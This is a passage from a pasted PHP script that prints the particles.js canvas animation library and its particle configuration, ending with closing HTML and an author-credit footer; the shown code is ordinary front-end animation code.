  3346.                     if (!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
  3347.                     else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)
  3348.                 } else {
  3349.                     if (!pJS.tmp.img_error) pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)
  3350.                 }
  3351.             } else {
  3352.                 if (pJS.tmp.img_obj != undefined) {
  3353.                     pJS.fn.particlesDraw();
  3354.                     if (!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
  3355.                     else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)
  3356.                 } else {
  3357.                     if (!pJS.tmp.img_error) pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)
  3358.                 }
  3359.             }
  3360.         } else {
  3361.             pJS.fn.particlesDraw();
  3362.             if (!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
  3363.             else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)
  3364.         }
  3365.     };
  3366.     pJS.fn.vendors.checkBeforeDraw = function() {
  3367.         if (pJS.particles.shape.type == \'image\') {
  3368.             if (pJS.tmp.img_type == \'svg\' && pJS.tmp.source_svg == undefined) {
  3369.                 pJS.tmp.checkAnimFrame = requestAnimFrame(check)
  3370.             } else {
  3371.                 cancelRequestAnimFrame(pJS.tmp.checkAnimFrame);
  3372.                 if (!pJS.tmp.img_error) {
  3373.                     pJS.fn.vendors.init();
  3374.                     pJS.fn.vendors.draw()
  3375.                 }
  3376.             }
  3377.         } else {
  3378.             pJS.fn.vendors.init();
  3379.             pJS.fn.vendors.draw()
  3380.         }
  3381.     };
  3382.     pJS.fn.vendors.init = function() {
  3383.         pJS.fn.retinaInit();
  3384.         pJS.fn.canvasInit();
  3385.         pJS.fn.canvasSize();
  3386.         pJS.fn.canvasPaint();
  3387.         pJS.fn.particlesCreate();
  3388.         pJS.fn.vendors.densityAutoParticles();
  3389.         pJS.particles.line_linked.color_rgb_line = hexToRgb(pJS.particles.line_linked.color)
  3390.     };
  3391.     pJS.fn.vendors.start = function() {
  3392.         if (isInArray(\'image\', pJS.particles.shape.type)) {
  3393.             pJS.tmp.img_type = pJS.particles.shape.image.src.substr(pJS.particles.shape.image.src.length - 3);
  3394.             pJS.fn.vendors.loadImg(pJS.tmp.img_type)
  3395.         } else {
  3396.             pJS.fn.vendors.checkBeforeDraw()
  3397.         }
  3398.     };
  3399.     pJS.fn.vendors.eventsListeners();
  3400.     pJS.fn.vendors.start()
  3401. };
  3402. Object.deepExtend = function(destination, source) {
  3403.     for (var property in source) {
  3404.         if (source[property] && source[property].constructor && source[property].constructor === Object) {
  3405.             destination[property] = destination[property] || {};
  3406.             arguments.callee(destination[property], source[property])
  3407.         } else {
  3408.             destination[property] = source[property]
  3409.         }
  3410.     }
  3411.     return destination
  3412. };
  3413. window.requestAnimFrame = (function() {
  3414.     return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) {
  3415.         window.setTimeout(callback, 1000 / 60)
  3416.     }
  3417. })();
  3418. window.cancelRequestAnimFrame = (function() {
  3419.     return window.cancelAnimationFrame || window.webkitCancelRequestAnimationFrame || window.mozCancelRequestAnimationFrame || window.oCancelRequestAnimationFrame || window.msCancelRequestAnimationFrame || clearTimeout
  3420. })();
  3421.  
  3422. function hexToRgb(hex) {
  3423.     var shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i;
  3424.     hex = hex.replace(shorthandRegex, function(m, r, g, b) {
  3425.         return r + r + g + g + b + b
  3426.     });
  3427.     var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex);
  3428.     return result ? {
  3429.         r: parseInt(result[1], 16),
  3430.         g: parseInt(result[2], 16),
  3431.         b: parseInt(result[3], 16)
  3432.     } : null
  3433. };
  3434.  
  3435. function clamp(number, min, max) {
  3436.     return Math.min(Math.max(number, min), max)
  3437. };
  3438.  
  3439. function isInArray(value, array) {
  3440.     return array.indexOf(value) > -1
  3441. }
  3442. window.pJSDom = [];
  3443. window.particlesJS = function(tag_id, params) {
  3444.     if (typeof(tag_id) != \'string\') {
  3445.         params = tag_id;
  3446.         tag_id = \'particles-js\'
  3447.     }
  3448.     if (!tag_id) {
  3449.         tag_id = \'particles-js\'
  3450.     }
  3451.     var pJS_tag = document.getElementById(tag_id),
  3452.         pJS_canvas_class = \'particles-js-canvas-el\',
  3453.         exist_canvas = pJS_tag.getElementsByClassName(pJS_canvas_class);
  3454.     if (exist_canvas.length) {
  3455.         while (exist_canvas.length > 0) {
  3456.             pJS_tag.removeChild(exist_canvas[0])
  3457.         }
  3458.     }
  3459.     var canvas_el = document.createElement(\'canvas\');
  3460.     canvas_el.className = pJS_canvas_class;
  3461.     canvas_el.style.width = "100%";
  3462.     canvas_el.style.height = "100%";
  3463.     var canvas = document.getElementById(tag_id).appendChild(canvas_el);
  3464.     if (canvas != null) {
  3465.         pJSDom.push(new pJS(tag_id, params))
  3466.     }
  3467. };
  3468. window.particlesJS.load = function(tag_id, path_config_json, callback) {
  3469.     var xhr = new XMLHttpRequest();
  3470.     xhr.open(\'GET\', path_config_json);
  3471.     xhr.onreadystatechange = function(data) {
  3472.         if (xhr.readyState == 4) {
  3473.             if (xhr.status == 200) {
  3474.                 var params = JSON.parse(data.currentTarget.response);
  3475.                 window.particlesJS(tag_id, params);
  3476.                 if (callback) callback()
  3477.             } else {
  3478.                 console.log(\'Error pJS - XMLHttpRequest status: \' + xhr.status);
  3479.                 console.log(\'Error pJS - File config not found\')
  3480.             }
  3481.         }
  3482.     };
  3483.     xhr.send()
  3484. } </script>';
  3485.    
  3486. print '<script type="text/javascript">
  3487. particlesJS(\'particles-js\',
  3488.  
  3489.   {
  3490.     "particles": {
  3491.     "number": {
  3492.         "value": 80,
  3493.         "density": {
  3494.           "enable": true,
  3495.           "value_area": 800
  3496.         }
  3497.       },
  3498.       "color": {
  3499.         "value": "#1D9D73"
  3500.       },
  3501.       "shape": {
  3502.         "type": "circle",
  3503.         "stroke": {
  3504.           "width": 0,
  3505.           "color": "#000000"
  3506.         },
  3507.         "polygon": {
  3508.           "nb_sides": 5
  3509.         },
  3510.         "image": {
  3511.           "src": "img/github.svg",
  3512.           "width": 100,
  3513.           "height": 100
  3514.         }
  3515.       },
  3516.       "opacity": {
  3517.         "value": 0.5,
  3518.         "random": false,
  3519.         "anim": {
  3520.           "enable": false,
  3521.           "speed": 1,
  3522.           "opacity_min": 0.1,
  3523.           "sync": false
  3524.         }
  3525.       },
  3526.       "size": {
  3527.         "value": 5,
  3528.         "random": true,
  3529.         "anim": {
  3530.           "enable": false,
  3531.           "speed": 40,
  3532.           "size_min": 0.1,
  3533.           "sync": false
  3534.         }
  3535.       },
  3536.       "line_linked": {
  3537.         "enable": true,
  3538.         "distance": 150,
  3539.         "color": "#1D9D73",
  3540.         "opacity": 0.4,
  3541.         "width": 1
  3542.       },
  3543.       "move": {
  3544.         "enable": true,
  3545.         "speed": 6,
  3546.         "direction": "none",
  3547.         "random": false,
  3548.         "straight": false,
  3549.         "out_mode": "out",
  3550.         "attract": {
  3551.           "enable": false,
  3552.           "rotateX": 600,
  3553.           "rotateY": 1200
  3554.         }
  3555.       }
  3556.     },
  3557.     "interactivity": {
  3558.       "detect_on": "canvas",
  3559.       "events": {
  3560.         "onhover": {
  3561.           "enable": false,
  3562.           "mode": "repulse"
  3563.         },
  3564.         "onclick": {
  3565.           "enable": false,
  3566.           "mode": "push"
  3567.         },
  3568.         "resize": true
  3569.       },
  3570.       "modes": {
  3571.         "grab": {
  3572.           "distance": 400,
  3573.           "line_linked": {
  3574.             "opacity": 1
  3575.           }
  3576.         },
  3577.         "bubble": {
  3578.           "distance": 400,
  3579.           "size": 40,
  3580.           "duration": 2,
  3581.           "opacity": 8,
  3582.           "speed": 3
  3583.         },
  3584.         "repulse": {
  3585.           "distance": 200
  3586.         },
  3587.         "push": {
  3588.           "particles_nb": 4
  3589.         },
  3590.         "remove": {
  3591.           "particles_nb": 2
  3592.         }
  3593.       }
  3594.     },
  3595.     "retina_detect": true,
  3596.     "config_demo": {
  3597.       "hide_card": false,
  3598.       "background_color": "#b61924",
  3599.       "background_image": "",
  3600.       "background_position": "50% 50%",
  3601.       "background_repeat": "no-repeat",
  3602.       "background_size": "cover"
  3603.     }
  3604.   }); </script>
  3605. </div>
  3606.     </div>
  3607.         </div>
  3608. <div class="footer">CODED BY WILDAN IZZUDIN</div>';
  3609. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top